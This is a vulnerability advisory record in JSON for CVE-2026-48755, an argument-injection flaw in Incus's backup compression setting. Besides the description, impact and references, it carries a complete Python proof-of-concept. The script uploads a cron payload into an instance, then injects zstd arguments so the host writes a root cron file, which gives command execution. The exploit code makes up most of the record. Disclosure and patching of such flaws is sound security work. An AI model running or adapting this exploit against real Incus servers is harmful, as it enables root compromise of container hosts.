{"id":"CVE-2026-48755","aliases":["GHSA-v6mj-8pf4-hhw4","GO-2026-5808"],"url":"https://o3.security/vulnerability/CVE-2026-48755","summary":"Incus has an argument injection in backup compression algorithm leading to AFW and ACE","details":"### Summary\n\nImproper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist:\n\n```go\nfields, err := shellquote.Split(value)\n...\nif !slices.Contains([]string{\"bzip2\", \"gzip\", \"lz4\", \"lzma\", \"pigz\", \"pzstd\", \"pxz\", \"tar2sqfs\", \"xz\", \"zstd\"}, fields[0]) {\n    return fmt.Errorf(\"Compression algorithm %q isn't currently supported\", fields[0])\n}\n_, err = exec.LookPath(fields[0])\n```\n\nExtra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor:\n\n```go\nargs := []string{\"-c\"}\nif len(fields) > 1 {\n    args = append(args, fields[1:]...)\n}\ncmd := exec.Command(fields[0], args...)\ncmd.Stdin = infile\ncmd.Stdout = outfile\n```\n\nWith a value like:\n\n```text\nzstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\nthe daemon executes the equivalent of:\n\n```text\nzstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload\n```\n\n### PoC\n\n```\npython3 poc.py \\\n\t--insecure --url https://remote-incus:8443 \\\n\t--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \\\n\t--instance c01 \\\n\t--execute --yes-i-understand-this-writes-host-file\n```\n\nThe following was generated by an LLM model.\n\n```\n#!/usr/bin/env python3\n\"\"\"Short remote Incus backup compression zstd cron RCE PoC.\n\nDry-run is the default.  --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:\n\n    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>\n\nThe direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport os\nimport shlex\nimport sys\nimport urllib.parse\nfrom pathlib import PurePosixPath\nfrom typing import Any\n\nimport requests\n\n\ndef q(value: str) -> str:\n    return urllib.parse.quote(value, safe=\"\")\n\n\ndef api(base: str, endpoint: str, **params: str) -> str:\n    return base.rstrip(\"/\") + endpoint + (\"?\" + urllib.parse.urlencode(params) if params else \"\")\n\n\ndef project_instance(project: str, instance: str) -> str:\n    return instance if project == \"default\" else f\"{project}_{instance}\"\n\n\ndef clean_guest_path(path: str) -> str:\n    if not path.startswith(\"/\"):\n        raise ValueError(\"--guest-path must be absolute\")\n    if \"..\" in PurePosixPath(path).parts:\n        raise ValueError(\"--guest-path must not contain '..'\")\n    return os.path.normpath(\"/\" + path.lstrip(\"/\")).lstrip(\"/\")\n\n\ndef source_path(args: argparse.Namespace) -> str:\n    if args.source_host_path:\n        return args.source_host_path\n    return os.path.join(\n        args.incus_dir,\n        \"storage-pools\",\n        args.pool,\n        args.storage_kind,\n        project_instance(args.project, args.instance),\n        \"rootfs\",\n        clean_guest_path(args.guest_path),\n    )\n\n\ndef cron(command: str) -> bytes:\n    return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode()\n\n\ndef session(args: argparse.Namespace) -> requests.Session:\n    s = requests.Session()\n    s.verify = False if args.insecure else (args.cacert or True)\n    if args.cert or args.key:\n        s.cert = (args.cert, args.key)\n    if args.token:\n        s.headers[\"Authorization\"] = \"Bearer \" + args.token\n    s.headers[\"User-Agent\"] = \"incus-zstd-backup-rce-poc\"\n    if args.insecure:\n        requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]\n    return s\n\n\ndef check(resp: requests.Response, what: str) -> requests.Response:\n    if resp.status_code >= 400:\n        try:\n            detail: Any = resp.json()\n        except Exception:\n            detail = resp.text[:2048]\n        raise RuntimeError(f\"{what} failed: HTTP {resp.status_code}: {detail}\")\n    return resp\n\n\ndef upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/files\", project=args.project, path=args.guest_path)\n    headers = {\n        \"Content-Type\": \"application/octet-stream\",\n        \"X-Incus-type\": \"file\",\n        \"X-Incus-write\": \"overwrite\",\n        \"X-Incus-uid\": \"0\",\n        \"X-Incus-gid\": \"0\",\n        \"X-Incus-mode\": \"0644\",\n    }\n    print(f\"[*] uploading cron payload to {args.instance}:{args.guest_path}\")\n    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), \"payload upload\")\n\n\ndef trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:\n    url = api(args.url, f\"/1.0/instances/{q(args.instance)}/backups\", project=args.project)\n    print(\"[*] sending direct backup request\")\n    resp = s.post(\n        url,\n        data=json.dumps(body).encode(),\n        headers={\"Accept\": \"application/octet-stream\", \"Content-Type\": \"application/json\"},\n        timeout=args.timeout,\n        stream=True,\n    )\n    print(f\"[*] backup HTTP {resp.status_code}\")\n    resp.close()\n    if resp.status_code >= 400:\n        print(\"[*] HTTP error after compressor launch is possible; check whether the cron file was written\")\n\n\ndef parse_args() -> argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Remote Incus zstd backup-compression cron RCE PoC\")\n    p.add_argument(\"--url\", required=True, help=\"https://host:8443\")\n    p.add_argument(\"--cert\", help=\"client certificate PEM\")\n    p.add_argument(\"--key\", help=\"client private key PEM\")\n    p.add_argument(\"--cacert\", help=\"CA certificate PEM\")\n    p.add_argument(\"--token\", help=\"bearer token\")\n    p.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n    p.add_argument(\"--timeout\", type=int, default=180)\n\n    p.add_argument(\"--project\", default=\"default\")\n    p.add_argument(\"--instance\", required=True)\n    p.add_argument(\"--pool\", default=\"default\")\n    p.add_argument(\"--storage-kind\", choices=[\"containers\", \"virtual-machines\"], default=\"containers\")\n    p.add_argument(\"--incus-dir\", default=\"/var/lib/incus\")\n    p.add_argument(\"--guest-path\", default=\"/incus-zstd-cron\")\n    p.add_argument(\"--source-host-path\", help=\"override daemon-readable host path for the staged payload\")\n    p.add_argument(\"--cron-path\", default=\"/etc/cron.d/incus-zstd-rce\")\n    p.add_argument(\"--command\", default=\"date >/incus-zstd-rce; id >>/incus-zstd-rce\")\n\n    p.add_argument(\"--execute\", action=\"store_true\", help=\"stage payload and send backup request\")\n    p.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute\")\n    args = p.parse_args()\n\n    if urllib.parse.urlparse(args.url).scheme != \"https\":\n        p.error(\"--url must use https\")\n    if bool(args.cert) != bool(args.key):\n        p.error(\"--cert and --key must be supplied together\")\n    if args.execute and not args.yes_i_understand_this_writes_host_file:\n        p.error(\"--execute requires --yes-i-understand-this-writes-host-file\")\n    try:\n        clean_guest_path(args.guest_path)\n    except ValueError as exc:\n        p.error(str(exc))\n\n    args.url = args.url.rstrip(\"/\")\n    return args\n\n\ndef main() -> int:\n    args = parse_args()\n    src = source_path(args)\n    payload = cron(args.command)\n    compressor = f\"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}\"\n    body = {\"compression_algorithm\": compressor, \"instance_only\": True}\n\n    print(\"[*] target:\", args.url)\n    print(\"[*] project:\", args.project)\n    print(\"[*] instance:\", args.instance)\n    print(\"[*] source host path:\", src)\n    print(\"[*] cron path:\", args.cron_path)\n    print(\"[*] payload:\", payload.decode().rstrip())\n    print(\"[*] backup body:\", json.dumps(body, sort_keys=True))\n\n    if not args.execute:\n        print(\"[*] dry run only; add --execute and the confirmation flag to act\")\n        return 0\n\n    s = session(args)\n    upload(s, args, payload)\n    trigger_backup(s, args, body)\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except BrokenPipeError:\n        raise SystemExit(1)\n    except Exception as exc:\n        print(f\"[-] {exc}\", file=sys.stderr)\n        raise SystemExit(1)\n```\n\n\n### Impact\n\nImproperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with `zstd` and possibly arbitrary command execution.","published":"2026-08-21T14:37:25.389Z","modified":"2026-09-20T11:31:02.356319974Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00439,"percentile":0.37334,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7/cmd/incusd","fixedVersion":"7.2.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48755.json"},{"type":"ADVISORY","url":"https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48755"},{"type":"PACKAGE","url":"https://github.com/lxc/incus"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-20T11:31:02.356319974Z"}}